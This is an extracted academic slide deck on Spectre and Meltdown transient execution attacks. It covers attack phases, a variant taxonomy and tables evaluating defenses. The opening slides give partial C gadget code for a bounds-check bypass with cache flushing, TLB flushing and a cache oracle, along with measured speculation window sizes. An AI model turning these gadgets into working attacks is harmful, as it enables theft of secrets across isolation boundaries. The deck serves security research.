char** ptr2 = &ptr;
char*** ptr3 = &ptr2;
...

flush (ptr);
flush (ptr2);
flush (ptr3);
...
unsigned char value = 0;
char * ptr = &value;
char ** ptr2 = &ptr;
char *** ptr3 = &ptr2;
...

flush(ptr);
flush(ptr2);
flush(ptr3);
...
unsigned char value = 0;
char * ptr = &value;
char ** ptr2 = &ptr;
char *** ptr3 = &ptr2;
...

flush(ptr);
flush(ptr2);
flush(ptr3);
...

if((x + ***ptr3) < len)
  oracle[data[x]*4096];
unsigned char value = 0;
char* ptr = &value;
char** ptr2 = &ptr;
char*** ptr3 = &ptr2;
...

flush(ptr);
flush(ptr2);
flush(ptr3);
...

if ((x + ***ptr3) < len)
    oracle[data[x]*4096];
Results: Cache miss

```c
unsigned char value = 0;
char* ptr = &value;
char** ptr2 = &ptr;
char*** ptr3 = &ptr2;
...

flush(ptr);
flush(ptr2);
flush(ptr3);
...

if ((x + ***ptr3) < len)
    oracle[data[x]*4096];
```

Maximal speculation window size: 57 instructions at a chain length of 1
char* addr = malloc(...);
*addr = 0;
...

Average TPR 0.97
Speculation window size 57 instructions
char* addr = malloc(...);
*addr = 0;
...
flush_tlb();
char* addr = malloc(...);
*addr = 0;
...
flush_tlb();
if ((x + *addr) < len)
oracle[data[x] * 4096];
char * addr = malloc(...);
*addr = 0;
...
flush_tlb();
if((x + *addr) < len)
    oracle[data[x] * 4096];

Average TPR 0.97
Speculation window size 57 instructions
Transient Execution Attacks: Phases

1. Preface
2. Trigger instruction
3. Transient instructions
4. Fixup
5. Reconstruct

Architectural transient execution

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
## Attack

<table>
<thead>
<tr>
<th>Covert channel</th>
</tr>
</thead>
<tbody>
<tr>
<td>Meltdown-US/RW/GP/NM/PK</td>
</tr>
<tr>
<td>Meltdown-P</td>
</tr>
<tr>
<td>Meltdown-BR</td>
</tr>
<tr>
<td>Spectre-PHT</td>
</tr>
<tr>
<td>Spectre-BTB/RSB</td>
</tr>
<tr>
<td>Spectre-STL</td>
</tr>
<tr>
<td>NetSpectre</td>
</tr>
</tbody>
</table>
### Attack

<table>
<thead>
<tr>
<th>Attack</th>
<th>1. Preface</th>
</tr>
</thead>
<tbody>
<tr>
<td>Covert channel</td>
<td>Ø Flush/Prime/Evict</td>
</tr>
<tr>
<td>Meltdown-US/RW/GP/NM/PK</td>
<td>ø (Exception suppression)</td>
</tr>
<tr>
<td>Meltdown-P</td>
<td>Ø (L1 prefetch)</td>
</tr>
<tr>
<td>Meltdown-BR</td>
<td>-</td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>Ø PHT poisoning</td>
</tr>
<tr>
<td>Spectre-BTB/RSB</td>
<td>Ø BTB/RSB poisoning</td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>-</td>
</tr>
<tr>
<td>NetSpectre</td>
<td>Ø Thrash/reset</td>
</tr>
</tbody>
</table>

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
<table>
<thead>
<tr>
<th>Attack</th>
<th>1. Preface</th>
<th>2. Trigger example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Covert channel</td>
<td>⬤ Flush/Prime/Evict</td>
<td>-</td>
</tr>
<tr>
<td>Meltdown-US/RW/GP/NM/PK</td>
<td>⬤ (Exception suppression)</td>
<td>⬤ mov/rdmsr/FPU</td>
</tr>
<tr>
<td>Meltdown-P</td>
<td>⬤ (L1 prefetch)</td>
<td>⬤ mov</td>
</tr>
<tr>
<td>Meltdown-BR</td>
<td>-</td>
<td>⬤ bound/bndclu</td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>⬤ PHT poisoning</td>
<td>⬤ jz</td>
</tr>
<tr>
<td>Spectre-BTB/RSB</td>
<td>⬤ BTB/RSB poisoning</td>
<td>⬤ call/jmp/ret</td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>-</td>
<td>⬤ mov</td>
</tr>
<tr>
<td>NetSpectre</td>
<td>⬤ Thrash/reset</td>
<td>⬤ jz</td>
</tr>
<tr>
<td>Attack</td>
<td>1. Preface</td>
<td>2. Trigger example</td>
</tr>
<tr>
<td>------------------------</td>
<td>---------------------------------------------------------------------------</td>
<td>---------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Covert channel</td>
<td>● Flush/Prime/Evict</td>
<td>-</td>
</tr>
<tr>
<td>Meltdown-US/RW/GP/NM/PK</td>
<td>● (Exception suppression)</td>
<td>● mov/rdmsr/FPU</td>
</tr>
<tr>
<td>Meltdown-P</td>
<td>○ (L1 prefetch)</td>
<td>● mov</td>
</tr>
<tr>
<td>Meltdown-BR</td>
<td>-</td>
<td>○ bound/bndclu</td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>● PHT poisoning</td>
<td>○ jz</td>
</tr>
<tr>
<td>Spectre-BTB/RSB</td>
<td>○ BTB/RSB poisoning</td>
<td>○ call/jmp/ret</td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>-</td>
<td>○ mov</td>
</tr>
<tr>
<td>NetSpectre</td>
<td>○ Thrash/reset</td>
<td>○ jz</td>
</tr>
</tbody>
</table>
## Gadget Classification

### Attack

<table>
<thead>
<tr>
<th>Attack</th>
<th>1. Preface</th>
<th>2. Trigger example</th>
<th>3. Transient</th>
<th>5. Reconstruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>Covert channel</td>
<td>○ Flush/Prime/Evict</td>
<td>-</td>
<td>○ Load/AVX/Port/...</td>
<td>○ Reload/Probe/Time</td>
</tr>
<tr>
<td>Meltdown-US/RW/GP/NM/PK</td>
<td>● (Exception suppression)</td>
<td>● mov/rdmsr/FPU</td>
<td>● Controlled encode</td>
<td>● Exception handling &amp; controlled decode</td>
</tr>
<tr>
<td>Meltdown-P</td>
<td>○ (L1 prefetch)</td>
<td>● mov</td>
<td>● Controlled encode</td>
<td></td>
</tr>
<tr>
<td>Meltdown-BR</td>
<td>-</td>
<td>○ bound/bndclu</td>
<td>○ Inadvertent leak</td>
<td>same as above</td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>○ PHT poisoning</td>
<td>○ jz</td>
<td>○ Inadvertent leak</td>
<td>● Controlled decode</td>
</tr>
<tr>
<td>Spectre-BTB/RSB</td>
<td>○ BTB/RSB poisoning</td>
<td>○ call/jmp/ret</td>
<td>○ ROP-style encode</td>
<td>● Controlled decode</td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>-</td>
<td>○ mov</td>
<td>○ Inadvertent leak</td>
<td>● Controlled decode</td>
</tr>
<tr>
<td>NetSpectre</td>
<td>○ Thrash/reset</td>
<td>○ jz</td>
<td>○ Inadvertent leak</td>
<td>○ Inadvertent transmit</td>
</tr>
</tbody>
</table>

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Transient cause?
Spectre Variants

Transient cause?

Spectre-type

prediction
Spectre Variants

Transient cause?

Spectre-type

- Spectre-PHT
- Spectre-BTB
- Spectre-RSB
- Spectre-STL

microarchitectural buffer
Spectre Variants

microarchitectural buffer

Spectre-type

- Spectre-PHT
  - Cross-address-space
  - Same-address-space
- Spectre-BTB
  - Cross-address-space
  - Same-address-space
- Spectre-RSB
  - Cross-address-space
  - Same-address-space
- Spectre-STL
  - Cross-address-space
  - Same-address-space

prediction

Transient cause?
Spectre Variants

- Spectre-PHT
- Spectre-BTB
- Spectre-RSB
- Spectre-STL

- Cross-address-space
- Same-address-space

- in-place (IP) vs., out-of-place (OP)

- prediction

- mistraining strategy

Spectre-type

Transient cause?

microarchitectural buffer
• Spectre is not a bug
• Spectre is not a bug
• It is an useful optimization
Spectre Fix

- Spectre is **not a bug**
- It is an useful **optimization**
- Cannot simply fix it (as with Meltdown)

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
• Spectre is not a bug
• It is an useful optimization
→ Cannot simply fix it (as with Meltdown)
• Workarounds for critical code parts
Spectre defenses in 3 categories:

**C1** Mitigating or reducing the accuracy of covert channels

**C2** Mitigating or aborting speculation

**C3** Ensuring secret data cannot be reached
## Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM</td>
<td></td>
<td>Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Spectre-BTB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Spectre-RSB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Spectre-STL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (□), theoretically mitigated (■), theoretically impeded (■), not theoretically impeded (□), or out of scope (◊).
### Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Attack</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD</th>
<th>SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM</td>
<td>Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-BTB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-RSB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Spectre-STL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (◻), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (◇), or out of scope (◊).
### Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Defense</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM</td>
<td>Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td>♦</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
<tr>
<td></td>
<td>Spectre-BTB</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
<tr>
<td></td>
<td>Spectre-RSB</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
<tr>
<td></td>
<td>Spectre-STL</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
</tbody>
</table>

**Attack** is mitigated (●), partially mitigated (○), not mitigated (○), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (◇), or out of scope (◇).
<table>
<thead>
<tr>
<th>Attack</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>IBPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-BTB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-RSB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-STL</td>
<td></td>
<td>*</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (○), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (◇), or out of scope (◇).
## Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Defense</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>IBPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-BTB</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-RSB</td>
<td>○</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>○</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (○), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (◇), or out of scope (◇).
### Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Attack</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>IBPB</th>
<th>STIPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-PHT</td>
<td>●</td>
<td>●</td>
<td>□</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td>■</td>
<td>●</td>
<td>●</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-BTB</td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td></td>
<td>●</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-RSB</td>
<td>○</td>
<td>○</td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-STL</td>
<td>○</td>
<td>○</td>
<td></td>
<td></td>
<td>○</td>
<td>○</td>
<td></td>
<td>○</td>
<td>○</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (○), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (□), or out of scope (◇).
## Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
<th>ARM</th>
<th>Spectre-PHT</th>
<th>Spectre-BTB</th>
<th>Spectre-RSB</th>
<th>Spectre-STL</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>InvisiSpec</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>SafeSpec</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>DAWG</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>RSB-Stuffing</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>Retpoline</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>Poison Value</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>Index Masking</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>Site Isolation</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>SLH</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>YSNB</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>IBRS</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>IBPB</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>STIPB</td>
<td></td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
<td>☐</td>
</tr>
<tr>
<td></td>
<td>Serialization</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>Taint Tracking</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>Timer Reduction</td>
<td></td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
<td>☒</td>
</tr>
<tr>
<td></td>
<td>Sloth</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>SSBD/SSBB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (◇), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (◇), or out of scope (◇).
### Spectre: Defense Analysis

<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
<th>InvisiSpec</th>
<th>SafeSpec</th>
<th>DAWG</th>
<th>RSB Stuffing</th>
<th>Retpoline</th>
<th>Poison Value</th>
<th>Index Masking</th>
<th>Site Isolation</th>
<th>SLH</th>
<th>YSNB</th>
<th>IBRS</th>
<th>STIPB</th>
<th>IBPB</th>
<th>Serialization</th>
<th>Taint Tracking</th>
<th>Timer Reduction</th>
<th>Sloth</th>
<th>SSBD/SSBB</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARM Spectre-PHT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-BTB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-RSB</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spectre-STL</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Attack is mitigated (●), partially mitigated (○), not mitigated (□), theoretically mitigated (■), theoretically impeded (□), not theoretically impeded (■), or out of scope (◇).
Many countermeasures only consider the cache to get data...
Many countermeasures only consider the cache to get data...
...but there are other possibilities, e.g.,
• Many countermeasures only consider the cache to get data...
• ...but there are other possibilities, e.g.,
  • Port contention (SMoTherSpectre)
• Many countermeasures only consider the cache to get data...
• ...but there are other possibilities, e.g.,
  • Port contention (SMoTherSpectre)
  • AVX (NetSpectre)
• Many countermeasures *only consider the cache* to get data...
• ...but there are other possibilities, e.g.,
  • Port contention (SMoTherSpectre)
  • AVX (NetSpectre)
• Cache is just the *easiest*
• Current mitigations are either incomplete or cost performance
Current mitigations are either incomplete or cost performance.

→ More research required.
• Current mitigations are either incomplete or cost performance
  → More research required
• Both on attacks and defenses
• Current mitigations are either incomplete or cost performance
  → More research required
• Both on attacks and defenses
  → Efficient defenses only possible when attacks are known
Transient Execution Attacks

Transient cause?

Spectre-type
- Spectre-PHT
- Spectre-BTB
- Spectre-RSB
- Spectre-STL

Spectre-PHT
- Cross-address-space
- Same-address-space

Spectre-BTB
- Cross-address-space
- Same-address-space

Spectre-RSB
- Cross-address-space
- Same-address-space

Spectre-STL
- Cross-address-space
- Same-address-space

Meltdown-type
- Meltdown-NM
- Meltdown-AC
- Meltdown-DE
- Meltdown-PF
- Meltdown-UD
- Meltdown-SS
- Meltdown-BR
- Meltdown-GP

Meltdown-NM
- Meltdown-US
- Meltdown-AC
- Meltdown-PF
- Meltdown-UD
- Meltdown-SS
- Meltdown-BR
- Meltdown-GP

Meltdown-US
- Meltdown-US-L1
- Meltdown-US-L3
- Meltdown-US-LFB
• Transient Execution Attacks are...
• Transient Execution Attacks are...
  • ...a novel class of attacks
• Transient Execution Attacks are...
  • ...a novel class of attacks
  • ...extremely powerful
Transient Execution Attacks

- Transient Execution Attacks are...
  - ...a novel class of attacks
  - ...extremely powerful
  - ...only at the beginning
• Transient Execution Attacks are...
  • ...a novel class of attacks
  • ...extremely powerful
  • ...only at the beginning

• Many optimizations introduce side channels → now exploitable
Transient Execution Attacks: Still hARMful?

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f)
May 17, 2019

Graz University of Technology